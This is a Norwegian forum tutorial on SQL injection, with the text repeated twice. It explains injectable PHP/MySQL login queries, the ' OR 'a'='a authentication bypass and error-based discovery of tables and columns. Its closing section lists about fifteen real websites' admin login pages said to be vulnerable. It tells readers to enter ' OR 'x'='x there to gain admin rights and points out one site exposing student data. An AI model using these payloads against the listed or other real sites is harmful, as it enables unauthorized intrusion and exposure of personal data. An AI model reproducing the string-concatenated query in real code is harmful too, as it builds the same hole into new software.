Dette er en guide for deg som vil lære og se eksempler på SQL-injections. Altså, denne tråden har nesten ingen ting med hvordan man faktisk bruker SQL, eller hva Structured Query Language er.
Tittelen ble som dere alle ser SQL din vei inn i historien for å luke ut potensielle script kiddies. Jeg er lei av tråder, artikler, poster m.m som heter HACK SQL HACKING INJECTING PR0HACKER, dette tiltrekker folk som ikke vet hva de gjør men får en viss glede av å gjøre det. Huff . Men nå som du først er her, vil jeg tro du vet hva SQL er, eller har litt peiling.
Hvis noen punkter er upresise, eller jeg skriver slarkete & uklart. Spørr!
-----
SQL injections er av de mest vanlig brukte, og utnyttede sårbarhetene for tiden.
Her vil jeg gå i dybden. Men I dybden slik at dere forstår hvordan dere kan finne SQL-injections i sider og hvordan dere finner en løsning på problemet!
SQL har uttalen "Sequel", og det er det vanligste språket for å manipulere og få tilgang til data i databaser.
I dag, vil trolig de fleste sider betro seg til en database. Vanligvis MySQL for å lagre og få tilgang til informasjon/data.
(Jeg bruker også ordet Query og Query'en mye, hvis du ikke vet hva en query er. Google!)
Mitt første eksempel vil bli en vanlig login form. En typisk "everyday" surfer vil se fler av disse formene hver dag! . Det er enkle innloggingsformer. Du putter passord og brukernavn inn for så å la serveren se & validere informasjonen du nettopp sendte.
Det var enkelt! Men nøyaktig hva skjer med serveren når den sjekker infoen du sendte?
Klienten, eller brukeren sender to strenger til serveren, brukernavn og passord.
Vanligvis vil serveren ha en database med et bord :P (table) eller som vi kanskje helst vil si TABELL, hvor brukerens data er lagret, og tilsynelatende sikkert bevart.
Denne tabellen har minst to kolonner, en for brukernavn og en for passordet.
Når serveren mottar begge strengene, passord og brukernavn vil den spørre databasen om de to sendte forespørslene er gyldige.
Serveren vil da bruke en SQL "erklæring" som kan se slik ut:
Bare for å nevne det først som sist. I språket SQL er ' tegnet brukt som en avgrensning for forskjellige strenger av variabler. Her bruker vi det til å avgrense brukernavn og passord tilført av brukeren.
I eksempelet ovenfor ser vi at det tilførte brukernavnet & passordet er satt inn i
(query'en*) mellom to ' noe som gjør at den riktige query'en blir kjørt av database-motoren.
Hvis query'en stemmer med en rad i databasen er opplysningene som ble skrevet riktige og brukeren vil eksisterer pluss at passorden som ble skrevet inn er riktig.
Dette var vel ikke vansklig?
Men hva skjer hvis en bruker skriver ' i brukernavnet eller passord feltet?
Bare ved å putte ' i brukernavnet og la passordfeltet stå blankt vil vi få en slik query:
Dette vil fremkalle en feil, siden databasen vil regne med slutten av en streng ved den andre ' , og dermed får vi en feil ved det tredje ' tegnet. La oss da se på hva som vil skje om vi sender en ny streng til serveren. For eksempel dette:
"Query'en" ville bli:
Siden a alltid er lik a, vil denne "Query'en" returnere alle rader fra tabellen som inneholder brukere og passord. Dette skjer fordi serveren vil tro vi gav den valide strenger for å slippe oss inn. Injeksjonen var ikke annet enn en kjempestor suksess
(Denne feilen er det FÅ sider som fortsatt har. Om du skulle komme over noen, vil de trolig ikke ha blitt oppdatert siden 2002-2003)
Dette er det enkleste av det enkle innenfor SQL-injections. Derfor skal jeg vise noen mer avanserte teknikker. Mitt andre eksempel vil basere seg på platformene: PHP & MySQL. I min MySQL database har jeg laget en følgende tabell:
Det er en rad i denne tabellen, som inneholder dataen:
For å se alle "attestene" har jeg laget følgende query i en PHP kode:
Serveren er også slik at den skal si ifra om feil blir forråsaket av eller i MySQL databasen. (Dette lønner seg for debugging, men burde forhindres om serveren og databasen er i drift til vanlig. Spesielt om en stor mengde mennesker bruker den )
Så for litt siden viste jeg hvordan SQL injections virker. Nå vil jeg vise hvordan du kan lage mer komplekse query'es og hvordan bruke MySQL feilmeldingene til å få mer info om databasen og strukturen til databasen. Det er her ting kan starte å bli vanskelig for mennesker som ikke kan så mye om SQL.
Men la oss starte!
Vi begynner med å putte ' i brukernavnet, for å se en feilmelding som om vi har en feil i SQL syntaxen;
Det er fordi query'en ble slik:
Hva skjer om vi nå prøver å putte ting som ' eller user='abc inn i brukernavnet?
Query'en blir:
Og gir oss feilmeldingen:
Det er bare bra! Bruk av slike feilmeldinger gjør at vi kan gjette navn på de spesifike tabellene. Vi kan prøve å putte
i feltet der brukernavnet skal inn. Om vi ikke får noen feilmelding vet vi at denne kolonnen eksisterer i tabellen. Hvis vi vet eposten til en bruker, kan vi nå prøve oss frem med
i begge brukernavnene og passordfeltene og query'en blir:
Som er en valid query, og hvis denne epost adressen faktisk eksisterer i tabellen til databasen vil vi få en feilfri innlogging!
Som sagdt kan du bruke feilmeldingene til å gjette navn på tabeller. Siden du i SQL kan bruke table.column tegnsystemet, kan du prøve å putte inn
i brukernavnet og du vil se en feilmelding som sier
Bra. La oss prøve
og vi vil få feilmeldingen:
Hmm... Logisk at vi har en tabell som heter users?
Hovedsakelig hvis serveren er konfigurert til å gi feilmeldinger, kan du bruke dem til å oppsummere strukturen til databasen og så bruke informasjonen i ett angrep. Som sagt, aldri la denne funksjonen på når du kjører databasen "live", men bruk det til debugging.
Men, det finnes fler. Hundrevis, tusenvis av forskjellige måter å hacke/ødelegge med SQL injections. [COLOR=Red]Derfor ser jeg det helst at du melder ifra om du kommer over ett hull i kodingen av en server som gir deg admin rights eller andre ulumske muligheter [/COLOR] .
---
Der er armen død, hode verker, kroppen vil spise men fortsatt for å vise at dette er mulig. Ganske enkelt, skal jeg google i noen minutter for å finne sider som faktisk er sårbare.
Om dette bryter med noen regler her på forumet, admin, feel free to edit.
Søker, søker, søker....
Hmm.... Fant 14-15 sider som er vuln. til
Skriv inn
i brukernavn og passord på en av disse sidene for å få admin rettigheter. OBS! Man vet aldri når en link dør, eller en svakhet blir fixet av web-ansvarlig. Ikke flame meg om exploiten ikke fungerer på alle sidene. Takk!
http://www.mcmweb.org/default/admin/login.asp
http://www.aspdevstudio.net/aspdevst...dmin/login.asp
http://johntoomeycompany.com/website...dmin/login.asp
http://www.udesa.co.za/admin/login.asp
http://www.photoctm.com/admin/login.asp
http://www.dunsinane.org/admin/login.asp
http://plentysources.com/admin/login.asp
http://www.diamond-3.com/Admin/admin.asp
http://www.eduflow.com/baruch/Admin/internprofile.asp
https://www.racejobs.com/admin/resumes.asp
http://www.southcentralsurveyors.com...dmin/login.asp
http://www.sciecal.co.uk/admin/login.asp
http://www.genovantiquaria.com/admin/login.asp?code=2
http://www.tilecloseouts.com/admin/login.asp
http://virtualspyder.com/admin/admin.asp
Siden som fikk min oppmerksomhet var:
http://www.eduflow.com/baruch/Admin/internprofile.asp --> Student data.. O.O
[COLOR=Teal]Vel, håper dette gav deg litt forståelse i SQL injections, hvordan de fungerer og hvordan du kan forsvare deg. Phu, husker nesten ikke selv hva jeg har skrevet så ikke plag meg med skrivefeil[/COLOR]
Tittelen ble som dere alle ser SQL din vei inn i historien for å luke ut potensielle script kiddies. Jeg er lei av tråder, artikler, poster m.m som heter HACK SQL HACKING INJECTING PR0HACKER, dette tiltrekker folk som ikke vet hva de gjør men får en viss glede av å gjøre det. Huff . Men nå som du først er her, vil jeg tro du vet hva SQL er, eller har litt peiling.
Hvis noen punkter er upresise, eller jeg skriver slarkete & uklart. Spørr!
-----
SQL injections er av de mest vanlig brukte, og utnyttede sårbarhetene for tiden.
Her vil jeg gå i dybden. Men I dybden slik at dere forstår hvordan dere kan finne SQL-injections i sider og hvordan dere finner en løsning på problemet!
SQL har uttalen "Sequel", og det er det vanligste språket for å manipulere og få tilgang til data i databaser.
I dag, vil trolig de fleste sider betro seg til en database. Vanligvis MySQL for å lagre og få tilgang til informasjon/data.
(Jeg bruker også ordet Query og Query'en mye, hvis du ikke vet hva en query er. Google!)
Mitt første eksempel vil bli en vanlig login form. En typisk "everyday" surfer vil se fler av disse formene hver dag! . Det er enkle innloggingsformer. Du putter passord og brukernavn inn for så å la serveren se & validere informasjonen du nettopp sendte.
Det var enkelt! Men nøyaktig hva skjer med serveren når den sjekker infoen du sendte?
Klienten, eller brukeren sender to strenger til serveren, brukernavn og passord.
Vanligvis vil serveren ha en database med et bord :P (table) eller som vi kanskje helst vil si TABELL, hvor brukerens data er lagret, og tilsynelatende sikkert bevart.
Denne tabellen har minst to kolonner, en for brukernavn og en for passordet.
Når serveren mottar begge strengene, passord og brukernavn vil den spørre databasen om de to sendte forespørslene er gyldige.
Serveren vil da bruke en SQL "erklæring" som kan se slik ut:
Kode
SELECT * FROM users WHERE username='REG_USER' AND password='REG_PASS'
I eksempelet ovenfor ser vi at det tilførte brukernavnet & passordet er satt inn i
(query'en*) mellom to ' noe som gjør at den riktige query'en blir kjørt av database-motoren.
Hvis query'en stemmer med en rad i databasen er opplysningene som ble skrevet riktige og brukeren vil eksisterer pluss at passorden som ble skrevet inn er riktig.
Dette var vel ikke vansklig?
Men hva skjer hvis en bruker skriver ' i brukernavnet eller passord feltet?
Bare ved å putte ' i brukernavnet og la passordfeltet stå blankt vil vi få en slik query:
Kode
SELECT * FROM users WHERE username=''' AND password=''
Kode
Brukernavn: ' OR 'a'='a Passord: ' OR 'a'='a
Kode
SELECT * FROM users WHERE username= " OR 'a'='a' AND password=" OR 'a'='a'
(Denne feilen er det FÅ sider som fortsatt har. Om du skulle komme over noen, vil de trolig ikke ha blitt oppdatert siden 2002-2003)
Dette er det enkleste av det enkle innenfor SQL-injections. Derfor skal jeg vise noen mer avanserte teknikker. Mitt andre eksempel vil basere seg på platformene: PHP & MySQL. I min MySQL database har jeg laget en følgende tabell:
Kode
CREATE TABLE users ( username VARCHAR(128), password VARCHAR(128), email VARCHAR(128))
Kode
username: freakforum password: freakforum1 email: test@tester.com
Kode
$query="select username, password from users where username='".$user."' and password='".$pass."'";
Så for litt siden viste jeg hvordan SQL injections virker. Nå vil jeg vise hvordan du kan lage mer komplekse query'es og hvordan bruke MySQL feilmeldingene til å få mer info om databasen og strukturen til databasen. Det er her ting kan starte å bli vanskelig for mennesker som ikke kan så mye om SQL.
Men la oss starte!
Vi begynner med å putte ' i brukernavnet, for å se en feilmelding som om vi har en feil i SQL syntaxen;
Kode
check the manual that corresponds to your MySQL server version for the right syntax to use near '''' and password=''' at line 1
Kode
select username, password from users where username=''' and password=''
Query'en blir:
Kode
select username, password from users where username='' or user='abc ' and password=''
Kode
Unknows column 'user' in 'where clause'
Kode
' or email='
Kode
' or email='test@tester.com
Kode
select username, password from users where username='' or email='test@tester.com' and password='' or email='test@tester.com'
Som sagdt kan du bruke feilmeldingene til å gjette navn på tabeller. Siden du i SQL kan bruke table.column tegnsystemet, kan du prøve å putte inn
Kode
' or user.test='
Kode
Unknown table 'user' in where clause.
Kode
' or users.test='
Kode
Unknown column 'users.test' in 'where clause'
Hovedsakelig hvis serveren er konfigurert til å gi feilmeldinger, kan du bruke dem til å oppsummere strukturen til databasen og så bruke informasjonen i ett angrep. Som sagt, aldri la denne funksjonen på når du kjører databasen "live", men bruk det til debugging.
Men, det finnes fler. Hundrevis, tusenvis av forskjellige måter å hacke/ødelegge med SQL injections. [COLOR=Red]Derfor ser jeg det helst at du melder ifra om du kommer over ett hull i kodingen av en server som gir deg admin rights eller andre ulumske muligheter [/COLOR] .
---
Der er armen død, hode verker, kroppen vil spise men fortsatt for å vise at dette er mulig. Ganske enkelt, skal jeg google i noen minutter for å finne sider som faktisk er sårbare.
Om dette bryter med noen regler her på forumet, admin, feel free to edit.
Søker, søker, søker....
Hmm.... Fant 14-15 sider som er vuln. til
Kode
' OR 'x'='x
Kode
' OR 'x'='x
http://www.mcmweb.org/default/admin/login.asp
http://www.aspdevstudio.net/aspdevst...dmin/login.asp
http://johntoomeycompany.com/website...dmin/login.asp
http://www.udesa.co.za/admin/login.asp
http://www.photoctm.com/admin/login.asp
http://www.dunsinane.org/admin/login.asp
http://plentysources.com/admin/login.asp
http://www.diamond-3.com/Admin/admin.asp
http://www.eduflow.com/baruch/Admin/internprofile.asp
https://www.racejobs.com/admin/resumes.asp
http://www.southcentralsurveyors.com...dmin/login.asp
http://www.sciecal.co.uk/admin/login.asp
http://www.genovantiquaria.com/admin/login.asp?code=2
http://www.tilecloseouts.com/admin/login.asp
http://virtualspyder.com/admin/admin.asp
Siden som fikk min oppmerksomhet var:
http://www.eduflow.com/baruch/Admin/internprofile.asp --> Student data.. O.O
[COLOR=Teal]Vel, håper dette gav deg litt forståelse i SQL injections, hvordan de fungerer og hvordan du kan forsvare deg. Phu, husker nesten ikke selv hva jeg har skrevet så ikke plag meg med skrivefeil[/COLOR]